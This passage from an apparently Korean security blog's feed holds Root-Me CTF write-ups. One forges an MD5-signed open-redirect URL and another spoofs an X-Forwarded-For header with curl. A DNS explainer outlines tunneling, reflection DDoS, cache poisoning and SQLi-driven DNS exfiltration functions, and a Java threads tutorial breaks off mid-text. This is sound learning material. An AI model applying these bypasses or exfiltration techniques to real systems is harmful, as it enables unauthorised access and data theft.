&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;[Hash Algorithm] 해시 길이 정리 (MD5, SHA-1, SHA-256, SHA-512)&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;해킹/보안 공부나 인증 시스템 구현 시 자주 접하게 되는 해시 알고리즘의 해시 문자열(16진수)의 길이만 보고 어떤 알고리즘이 사용되었는지 추측할 수 있기 때문에 아래 내용을 정리해두었습&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;jangto.tistory.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;32자리의 16진수(hex) 문자열을 보고 &lt;b&gt;MD5 해시&lt;/b&gt;일 가능성이 높다고 판단했습니다.&lt;br /&gt;(MD5는 128비트 해시이며 16진수로 표현하면 정확히 32자입니다.)&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;4. 직접 해시 값 계산&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문자열을 MD5로 해싱해서 h 값이 어떻게 생성되는지 확인하기 위해 Python 코드를 작성했습니다.&lt;/p&gt;
&lt;pre id=&quot;code_1751518961549&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;import hashlib

def md5_hash(text: str) -&amp;gt; str:
    # UTF-8로 인코딩하고 -&amp;gt; MD5 해시 계산 -&amp;gt; 16진수 문자열로 반환
    return hashlib.md5(text.encode('utf-8')).hexdigest()

url = &quot;https://facebook.com&quot;
hashed = md5_hash(url)
print(hashed)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;결과는 다음과 같았습니다.&lt;/p&gt;
&lt;pre id=&quot;code_1751519538387&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;a023cfbf5f1c39bdf8407f28b60cd134&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;페이지 내 링크와 완벽히 일치하기 때문에 h 값은 url 파라미터의 값을 그대로 MD5 해싱한 결과라는 사실을 확인했습니다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;5. 새로운 도메인 삽입 테스트&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;도메인 &lt;a href=&quot;https://google.com&quot;&gt;https://google.com&lt;/a&gt;을 리디렉션 대상으로 삽입해보고 동일한 방식으로 h 값을 생성한 후 요청을 보냅니다.&lt;/p&gt;
&lt;pre id=&quot;code_1751519089187&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;$ curl &quot;http://challenge01.root-me.org/web-serveur/ch52/?url=https://google.com&amp;amp;h=99999ebcfdb78df077ad2727fd00969f&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그랬더니 결과로 정답이 나왔습니다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;6. 결과 확인&lt;/b&gt;&lt;/h3&gt;
&lt;pre id=&quot;code_1751519124392&quot; class=&quot;html xml&quot; data-ke-language=&quot;html&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;p&amp;gt;Well done, the flag is 비밀번호&amp;lt;/p&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>Development/CTF 문제 풀이</category>
      <author>dukbong_dev</author>
      <guid isPermaLink="true">https://jangto.tistory.com/295</guid>
      <comments>https://jangto.tistory.com/entry/Open-Redirect-HTTP-Open-redirect#entry295comment</comments>
      <pubDate>Thu, 3 Jul 2025 20:30:54 +0900</pubDate>
    </item>
    <item>
      <title>[X-Forwarded-For] HTTP - IP Restriction Bypass</title>
      <link>https://jangto.tistory.com/entry/X-Forwarded-For-HTTP-IP-Restriction-Bypass</link>
      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;644&quot; data-origin-height=&quot;286&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bWnmtX/btsO1VbBMsh/if4zZ6Zjk2EZMvfakyBEJK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bWnmtX/btsO1VbBMsh/if4zZ6Zjk2EZMvfakyBEJK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bWnmtX/btsO1VbBMsh/if4zZ6Zjk2EZMvfakyBEJK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbWnmtX%2FbtsO1VbBMsh%2Fif4zZ6Zjk2EZMvfakyBEJK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;644&quot; height=&quot;286&quot; data-origin-width=&quot;644&quot; data-origin-height=&quot;286&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;Problem&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사설 IP가 아니기 때문에 로그인을 해야 합니다.&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;Working through problems&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;우선 사설 IP 대역을 알아야 합니다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;1. 사설 IP 대역 (Private IP ranges)&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 대역들은 인터넷 공인 네트워크에서 사용되지 않고, 내부 네트워크(LAN)에서만 사용됩니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;10.0.0.0 ~ 10.255.255.255 (10/8 prefix)&lt;/li&gt;
&lt;li&gt;172.16.0.0 ~ 172.31.255.255 (172.16/12 prefix)&lt;/li&gt;
&lt;li&gt;192.168.0.0 ~ 192.168.255.255 (192.168/16 prefix)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;2. Header 조작을 통한 접근 시도&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;웹 서버가 클라이언트의 IP를 판단하는 데 사용하는 X-Forwarded-For 헤더를 조작할 수 있습니다.&lt;/p&gt;
&lt;pre id=&quot;code_1751505862003&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;$ curl -H &quot;X-Forwarded-For: 10.0.0.1&quot; http://challenge01.root-me.org/web-serveur/ch68/&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이렇게 하면 웹 서버에 &amp;ldquo;나는 172.16.0.1에서 왔어&amp;rdquo;라고 알려주게 됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그러나 이는 단지 HTTP 헤더를 조작한 것일 뿐&amp;nbsp;실제 네트워크 계층에서의 출발지 IP는 바뀌지 않습니다.&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;보완 설명 및 핵심 포인트&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;curl을 사용한 요청은 결국 TCP/IP 기반의 통신으로 이루어지며 클라이언트는 서버와 TCP 연결을 통해 데이터를 주고받습니다.&lt;br /&gt;X-Forwarded-For 헤더는 OSI 7계층 중 Application Layer에 속하는 요소로 실제 네트워크 수준의 통신에는 영향을 미치지 않습니다.&lt;br /&gt;따라서 이 헤더를 조작한다고 해도 &lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;DNS 요청이나 TCP 레벨에서의 출발지 IP 주소는 변경되지 않습니다.&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-end=&quot;388&quot; data-start=&quot;301&quot; data-ke-size=&quot;size16&quot;&gt;결국 X-Forwarded-For는 단지 &amp;ldquo;이 IP에서 요청이 왔다&amp;rdquo;는 주장을 담는 용도일 뿐&amp;nbsp;실제 출발지를 변경할 수 있는 수단은 아닙니다.&lt;/p&gt;</description>
      <category>Development/CTF 문제 풀이</category>
      <category>private ip ranges</category>
      <category>rootme</category>
      <category>x-forwarded-for</category>
      <category>사설 IP</category>
      <author>dukbong_dev</author>
      <guid isPermaLink="true">https://jangto.tistory.com/294</guid>
      <comments>https://jangto.tistory.com/entry/X-Forwarded-For-HTTP-IP-Restriction-Bypass#entry294comment</comments>
      <pubDate>Thu, 3 Jul 2025 20:00:15 +0900</pubDate>
    </item>
    <item>
      <title>Port 53에서 시작되는 은밀한 통신 DNS 이야기</title>
      <link>https://jangto.tistory.com/entry/Port-53%EC%97%90%EC%84%9C-%EC%8B%9C%EC%9E%91%EB%90%98%EB%8A%94-%EC%9D%80%EB%B0%80%ED%95%9C-%ED%86%B5%EC%8B%A0-DNS-%EC%9D%B4%EC%95%BC%EA%B8%B0</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;우리는 주소창에 google.com을 입력하면 당연하다는 듯 구글 홈페이지가 열리는 간편한 세상에 살고 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만 그 평온한 화면 뒤에서는 Port 53을 통해 흐르는 은밀한 DNS(Domain Name System) 요청이 조용히 일을 처리하고 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제&lt;span&gt; &lt;/span&gt;부터&lt;span&gt; DNS&lt;/span&gt;에&lt;span&gt; &lt;/span&gt;대한&lt;span&gt; &lt;/span&gt;기본&lt;span&gt; &lt;/span&gt;개념과&lt;span&gt; 동작 원리, 그리고 공격자가 사용할 수 있는 기본적인 방식을 알아보겠습니다.&lt;/span&gt;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;1. DNS란 무엇인가?&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;DNS는 도메인 이름을 IP 주소로 변환하는 시스템 입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사람이 기억하기 쉬운 도메인 이름(google.com)을 컴퓨터가 이해하는 숫자형 IP 주소(&lt;span&gt;172.217.161.206&lt;/span&gt;)로 바꿔 주는 역할입니다.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;2. DNS 동작 원리&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;2-1. DNS 조회 과정&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. 사용자가 브라우저에 google.com 주소를 입력하고 요청합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. 브라우저는 먼저 로컬에 설정된 DNS 리졸버(Resolving Name Server)에게 google.com의 IP 주소를 문의합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. 로컬 DNS 리졸버는 요청을 처리하기 위해 최상위 DNS 서버인 Root Name Server에 google.com을 문의합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;4. Root Name Server는 .com 최상위 도메인을 담당하는 TLD Name Server의 주소를 응답합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;5. 로컬 DNS 리졸버는 TLD Name Server에게 google.com의 IP를 문의합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;6. TLD Name Server는 google.com 도메인의 정보를 가진 Authoritative Name Server의 주소를 알려줍니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;7. 로컬 DNS 리졸버는 Authoritative Name Server에 최종적으로 google.com의 IP 주소를 요청합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;8. Authoritative Name Server는 도메인의 IP 주소를 찾아 요청의 출발지 IP로 UDP 53 포트를 통해 응답합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;9. 로컬 DNS 리졸버는 받은 IP 주소를 브라우저에 전달합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;10. 브라우저는 전달받은 IP 주소로 TCP 연결을 하여 google 페이지를 사용자에게 보여줍니다.&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;2-1-1. DNS 리졸버의 UDP Port 53&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;로컬 DNS 리졸버는 Authoritative Name Server에 도메인 IP 주소를 요청할 때 목적지 포트는 항상 UDP 53번 출발지 포트는 임의의 고유 포트로 설정하여 요청을 보냅니다.&lt;/p&gt;
&lt;p data-end=&quot;306&quot; data-start=&quot;223&quot; data-ke-size=&quot;size16&quot;&gt;Authoritative Name Server는 요청의 출발지 IP와 포트 번호를 기반으로 해당 리졸버에게 응답을 되돌려 보냅니다.&lt;/p&gt;
&lt;p data-end=&quot;391&quot; data-start=&quot;308&quot; data-ke-size=&quot;size16&quot;&gt;따라서 리졸버는 UDP 53 포트를 열어두는 것이 아니라&amp;nbsp;요청에 사용한 임의의 출발지 포트를 열어두고 응답을 대기하는 구조입니다.&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;2-1-2. Authoritative Name Server의 서브도메인 처리 특성&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Authoritative Name Server는 해당 도메인의 IP를 최종적으로 응답하는 주체입니다.&lt;br /&gt;이때 도메인에 속한 서브도메인까지 모두 직접 관리하거나 DNS Zone 파일에 등록되지 않은 서브도메인 요청에 대해서도 자신에게 온 요청으로 간주해 응답하거나 존재하지 않는 경우에는 NXDOMAIN 오류를 반환하기도 합니다.&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;  OOB / DNS Tunneling&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이러한 처리특성을 이용하여 존재하지 않는 무작위 서브도메인 요청을 유도하고 Authoritative Name Server에 해당 요청이 기록되는 특성을 활용해 데이터 유출이나 명령 통신에 이용하는 방식으로 악용됩니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt; &lt;span&gt; DNS Reflection&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;DNS 서버는 요청자의 출발지 IP로 응답을 보내는 특성을 악용해 공격자가 피해자 IP를 출발지로 위조해 요청하면 응답이 피해자에게 전달되어 대량 트래픽이 집중되는 DDoS 공격에 활용되며 주로 UDP 53 포트와 큰 응답(ANY, TXT 레코드)을 사용합니다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;2-2. Cache &amp;amp; TTL (Time To Live)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;매 요청마다 조회 과정을 계속 하게 된다면 비효율적일 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;조회 과정에서 응답받은 결과 값을 OS와 DNS 리졸버 두곳에 TTL이 설정된 Cache를 저장합니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;OS에 저장된 캐시를 이용하면 브라우저에서 요청 시 DNS 리졸버에 요청하지 않아 빠른 응답이 가능합니다.&lt;/li&gt;
&lt;li&gt;DNS 리졸버에 저장된 캐시는 여러 사용자의 요청을 처리하며 OS 캐시에 없는 경우에도 재사용되어 Root, TLD 등 상위 서버로의 불필요한 조회를 줄입니다.&lt;/li&gt;
&lt;li&gt;각 캐시에는 TTL이 설정되어 있어 TTL이 만료되면 해당 캐시는 삭제되고 다시 조회 과정을 거치게 됩니다.&lt;/li&gt;
&lt;li&gt;이를 통해 네트워크 부하를 줄이고 응답 시간을 최소화하며 최신 정보를 적절히 유지할 수 있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;  DNS Poisoning&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;만약 공격자가 이미 유명한 도메인을 운영하고 있다고 가정해봅시다.&lt;/p&gt;
&lt;p data-end=&quot;693&quot; data-start=&quot;609&quot; data-ke-size=&quot;size16&quot;&gt;어느 날 피해자가 공격자의 도메인에 요청을 보냈을 때 공격자는 정상 IP 대신 악성 코드가 배포되는 IP 주소를 응답할 수 있습니다.&lt;/p&gt;
&lt;p data-end=&quot;742&quot; data-start=&quot;695&quot; data-ke-size=&quot;size16&quot;&gt;그러면 피해자가 이용하는 DNS 리졸버(예: KT)의 캐시에 악성 IP가 저장됩니다.&lt;/p&gt;
&lt;p data-end=&quot;821&quot; data-start=&quot;744&quot; data-ke-size=&quot;size16&quot;&gt;따라서 해당 DNS 리졸버를 이용하는 다수의 사용자가 같은 도메인에 접근할 경우 모두 악성 IP로 연결되어 공격을 당할 위험이 커집니다.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;3. Name Server 종류&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Root Name Server
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;DNS 계층의 최상위 서버 입니다.&lt;/li&gt;
&lt;li&gt;도메인의 최상위 확장자(TLD) 서버 위치를 알려줍니다.&lt;/li&gt;
&lt;li&gt;IANA 관리 하 전 세계 13개 그룹이 분산 운영되고 있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;TLD(Top Level Domain) Name Server
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;최상위 도메인별(.com, .net, .kr 등) Name Server 위치를 알려줍니다.&lt;/li&gt;
&lt;li&gt;Root Name Server가 알려준 TLD 도메인을 관리합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Authoritative Name Server
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;특정 도메인의 실제 IP 주소를 관리 및 응답합니다.&lt;/li&gt;
&lt;li&gt;도메인 소유자가 지정한 Name Server로 최종 IP 정보를 제공합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;4. 왜 XSS로는 OOB를 하지 않을까?&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;처음에는 &amp;lsquo;XSS로도 외부 도메인에 요청을 보낼 수 있는데, 굳이 SQLi나 서버 측 취약점을 통해 DNS 요청을 유도할 이유가 있을까?&amp;rsquo;라는 생각이 들었습니다.&lt;/p&gt;
&lt;p data-end=&quot;370&quot; data-start=&quot;156&quot; data-ke-size=&quot;size16&quot;&gt;XSS에서는 fetch, &amp;lt;img&amp;gt;, &amp;lt;script&amp;gt; 같은 태그나 메서드를 통해 외부 도메인으로 요청을 보낼 수 있으니 이걸 활용해서도 DNS 기반 공격이 가능한 게 아닐까 싶었는데 조금 더 생각해보니 이러한 요청들은 단순히 DNS 질의에 그치지 않고 결국엔 TCP 기반의 HTTP 통신(포트 80이나 443) 으로 이어진다는 점이 중요하게 느껴졌습니다.&lt;/p&gt;
&lt;p data-end=&quot;521&quot; data-start=&quot;372&quot; data-ke-size=&quot;size16&quot;&gt;이런 HTTP 요청들은 대부분의 네트워크 환경에서 방화벽이나 프록시 등의 아웃바운드 정책에 따라 탐지되거나 차단될 가능성이 높고 로그에도 명확하게 남게 됩니다.&lt;/p&gt;
&lt;p data-end=&quot;779&quot; data-start=&quot;523&quot; data-ke-size=&quot;size16&quot;&gt;반면 SQL Injection처럼 서버 측 취약점을 통해 gethostbyname(), LOAD_FILE(), xp_dirtree, UTL_HTTP.REQUEST 같은 함수를 호출하면 서버 자체에서 DNS 질의가 발생하게 됩니다.&lt;/p&gt;
&lt;p data-end=&quot;779&quot; data-start=&quot;523&quot; data-ke-size=&quot;size16&quot;&gt;이 경우는 브라우저 보안 정책의 영향을 받지도 않고 HTTP 통신이 아닌 UDP 기반의 DNS 요청만 발생하기 때문에 상대적으로 탐지나 차단이 어려울 수 있다는 점이 떠올랐습니다.&lt;/p&gt;
&lt;p data-end=&quot;913&quot; data-start=&quot;781&quot; data-ke-size=&quot;size16&quot;&gt;그래서 제 나름의 결론은 DNS를 활용한 공격은 흔적을 최소화하는 게 핵심이라서 XSS보다는 서버 측에서 조용히 DNS 요청을 발생시킬 수 있는 SQLi 방식이 더 적합하다고 여겨지는 게 아닐까 하는 생각이 들었습니다.&lt;/p&gt;</description>
      <category>Development/개념 및 이론</category>
      <author>dukbong_dev</author>
      <guid isPermaLink="true">https://jangto.tistory.com/293</guid>
      <comments>https://jangto.tistory.com/entry/Port-53%EC%97%90%EC%84%9C-%EC%8B%9C%EC%9E%91%EB%90%98%EB%8A%94-%EC%9D%80%EB%B0%80%ED%95%9C-%ED%86%B5%EC%8B%A0-DNS-%EC%9D%B4%EC%95%BC%EA%B8%B0#entry293comment</comments>
      <pubDate>Wed, 2 Jul 2025 20:06:25 +0900</pubDate>
    </item>
    <item>
      <title>[Java] Thread에 대해 알아보자</title>
      <link>https://jangto.tistory.com/entry/Java-Thread%EC%97%90-%EB%8C%80%ED%95%B4-%EC%95%8C%EC%95%84%EB%B3%B4%EC%9E%90</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;Java에서 Thread는 어플리케이션에서 실행되는 가장 작은 단위의 작업 흐름을 의미합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하나의 Process는 N개의 Thread를 가질 수 있으며 N개의 Thread가 동시에 실행되는 환경을 Multi-Thread라고 합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Java는 대표적인 Multi-Thread 환경이며 여러 작업을 병렬 처리하여 자원을 효율적으로 사용할 수 있는 장점이 있지만 동기화 문제와 교착 (Dead Lock) 상태 같은 문제들을 발생 할 수 있습니다.&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;Thread 종류&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Java Thread는 크게 동작 방식과 역할에 따라 2가지로 분류할 수있습니다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;1. User Thread&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;백그라운드에서 동작하며 주요 로직을 수행하는 스레드를 의미합니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;JVM은 모든 User Thread가 종료될 때까지 기다렸다가 종료됩니다.&lt;/li&gt;
&lt;li&gt;하나라도 남아있다면 JVM은 강제로 종료되지 않습니다.&lt;/li&gt;
&lt;li&gt;일반적으로 생성하는 스레드는 대부분 User Thread입니다.&lt;/li&gt;
&lt;li&gt;대표적으로 Java의 main()을 실행하는 Main Thread가 있습니다.&lt;/li&gt;
&lt;li&gt;아래에서 알아보는 것들은 모두 User Thread에 속합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;2. Daemon Thread&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;백그라운드에서 동작하며 주 Thread의 작업을 보조하는 역할을 합니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;User Thread가 없다면 Daemon Thread가 실행 중이여도 강제 종료 됩니다.&lt;/li&gt;
&lt;li&gt;Daemon Thread는 User Thread의 생명주기에 종속됩니다.&lt;/li&gt;
&lt;li&gt;setDaemon(true)를 호출하여 설정할 수 있으며 Thread 시작되기 전에 설정해야 합니다.&lt;/li&gt;
&lt;li&gt;대표적으로 GC (Garbage Collector)가 있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1749660560720&quot; class=&quot;java&quot; data-ke-language=&quot;java&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;public static void main(String[] args) {
    Thread userThread = new Thread(() -&amp;gt; {
        ....
    });
    
    Thread daemonThread = new Thread(() -&amp;gt; {
        while(true) { ... }
    });
    
    daemonThread.setDaemon(true);
    userThread.start();
    daemonThread.start(); // while(true) 무한 루프지만 userThread 종료 시 종료 된다.
}&lt;/code&gt;&lt;/pre&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;Thread 생성 방법&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Java에서 Thread를 생성하는 방법은 크게 2가지로 나눌 수 있습니다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;1. 상속&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Java.lang.Thread 클래스를 상속받아서 run() 메소드를 @override하여 스레드가 수행할 작업을 구현할 수있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 방식의 간단하지만 Java의 경우 단일 상속만 지원하기 때문에 다른 클래스를 상속 받을 수 없습니다.&lt;/p&gt;
&lt;pre id=&quot;code_1749658027636&quot; class=&quot;java&quot; data-ke-language=&quot;java&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;public class Test extends Thread {
    @Override
    public void run() {
        ....
    }
}

public class TestEx {
    public static void main(String[] args) {
        Test t1 = new Test();
        t1.setName(&quot;Thread-1&quot;);
        t1.start();
        
        Test t2 = new Test();
        t2.run();
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;run( )과 start( ) 차이점&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;run()을 호출하게 되면 현재 Thread에서 일반 메소드처럼 실행하게 됩니다.&lt;/li&gt;
&lt;li&gt;start()를 호출하게 되면 JVM은 새로운 Thread를 생성하고 이 Thread 내부에서 run()을 호출하게 됩니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;2. 구현&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;java.lang.Runnable 인터페이스를 구현하는 클래스를 정의하여 run()을 @override하여 스레드가 수행할 작업을 구현할 수있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 방식은 다중 인터페이스 구현이 가능하기 때문에 다른 클래스 상속과 다양한 인터페이스를 동시에 구현할 수 있기 때문에 권장되는 방식입니다.&lt;/p&gt;
&lt;pre id=&quot;code_1749658725088&quot; class=&quot;java&quot; data-ke-language=&quot;java&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;public class Test implements Runnable {
    @Override
    public void run() {
        ....   
    }
}

public class TestEx {
    public static void main(String[] args) {
    	// 일반 표현식
        Test t1 = new Test();
        Thread thread1 = new Thread(t1);
        thread1.start();
        
        // 람다 표현식
        Thread thread2 = new Thread(() -&amp;gt; {
            ....
        });
        thread2.start();
        
        // 이름 생략 &amp;amp; 람다 표현식
        new Thread(() -&amp;gt; {
            ....
        }).start();
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;Thread 생명 주기 (Life Cycle)&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Java Thread는 6가지의 상태를 가질 수 있으며 Thread.getState()를 통해 현재 상태를 확인할 수 있습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;978&quot; data-origin-height=&quot;800&quot;&gt;&lt;a href=&quot;https://www.baeldung.com/java-thread-lifecycle&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bA7X2S/btsOwFNFvqE/ImoEDii6EUDX26UBdTtTy1/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbA7X2S%2FbtsOwFNFvqE%2FImoEDii6EUDX26UBdTtTy1%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; 